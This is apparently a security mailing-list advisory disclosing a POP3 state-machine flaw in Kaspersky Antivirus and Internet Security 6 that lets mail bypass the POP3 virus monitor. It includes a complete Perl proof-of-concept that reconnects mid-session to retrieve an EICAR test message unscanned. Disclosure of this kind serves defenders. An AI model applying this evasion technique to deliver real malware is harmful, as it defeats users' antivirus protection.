<<< Date Index >>>     <<< Thread Index >>>

Kaspersky antivirus 6: POP3 state machine error



Kaspersky antivirus 6
Kaspersky internet security 6

www.kaspersky.com

Vulnerable Systems: KAV6, KIS6

Detail:

The vulnerability is caused due to POP3 state machine error in POP3 monitor 
(Kaspersky Mail-antivirus). 

Any mailicious software on local computer can bypass POP3 virus monitor. 

Solution:

There is no known solution.

Exploit code:

Put eicar.com test file into your mailbox using subject 'eicar', correct this 
perl script (change POP3-server address, your acount name and the pasword) and 
run the script with ActiveState Perl 5.8:

#! /usr/bin/perl -w

use IO::Socket::INET;
use strict;

my( $h_srv, $h_port, $h_user, $h_pwd ) = ( YOUR.POP3.SERVER.IP/FQDN, 'pop(110)',
                                           YOUR-ACCOUNT, YOUR-PASSWORD );
my( $g_str, $g_trc_out, $g_trc_in ) = ( '', 0, 0 );

my $server = pop3_connect();

sendthem( $server, "LIST" );
die "bad LIST command: $g_str" unless read_line( $server ) =~ /^\+OK/;

my @lst;
for( ;; ) {
    my $str = read_line( $server );
    last if $str =~ /^.$/;
    push @lst, $1 if $str =~ /^(\d+)\s+/;
}
syswrite STDOUT, "msgs: ".(join ' ', @lst)."\n";

# !!! comment next line to have it working ;)
$server = pop3_connect( $server );

foreach( @lst ) {
    my $uidl = $_;
    sendthem( $server, "RETR $uidl" );
    die "bad RETR command: $g_str" unless read_line( $server ) =~ /^\+OK/;
    my $msg = '';
    for( ;; ) {
        my $str = read_line( $server );
        last if $str =~ /^.$/;
        $msg .= $str."\n";
    }
    syswrite STDOUT, "got: $uidl (".(length $msg)." bytes)\n";
    syswrite STDOUT, $msg if $msg =~ /eicar/i;
}

sub pop3_connect {
    my( $sock ) = @_;

    syswrite STDOUT, "connecting to $h_srv:$h_port (as $h_user)\n";

    $sock->close if $sock;
    $sock = IO::Socket::INET->new( PeerAddr => $h_srv,
                                   PeerPort => $h_port,
                                   Proto    => 'tcp' );
    die "socket: $!" unless $sock;
    die "wrong answer: $g_str" unless read_line( $sock ) =~ /^\+OK/;
    sendthem( $sock, "USER $h_user" );
    die "bad account: $g_str" unless read_line( $sock ) =~ /^\+OK/;
    sendthem( $sock, "PASS $h_pwd" );
    die "bad password: $g_str" unless read_line( $sock ) =~ /^\+OK/;
    $sock;
}

sub sendthem {
    my $sock = shift;
    foreach( @_ ) {
        my @a = split //, $_;
        syswrite STDOUT, "cln: " if $g_trc_out;
        foreach( @a ) {
            sendone( $sock, $_ );
        }
        sendone( $sock, "\r" );
        sendone( $sock, "\n" );
    }
}

sub sendone {
    my( $sock, $v ) = @_;
    die "send: " if length $v != $sock->syswrite( $v );
    syswrite STDOUT, $v if $g_trc_out;
}

sub read_line {
    my( $sock ) = @_;
    my $str = '';
    for( ;; ) {
        my $v = '';
        my $r = $sock->sysread( $v, 1 );
        die 'EOF reading headers!' unless $r;
        last if $v eq "\n";
        next if $v eq "\r";
        $str .= $v;
    }
    syswrite STDOUT, "srv: $str\r\n" if $g_trc_out;
    $g_str = $str;
}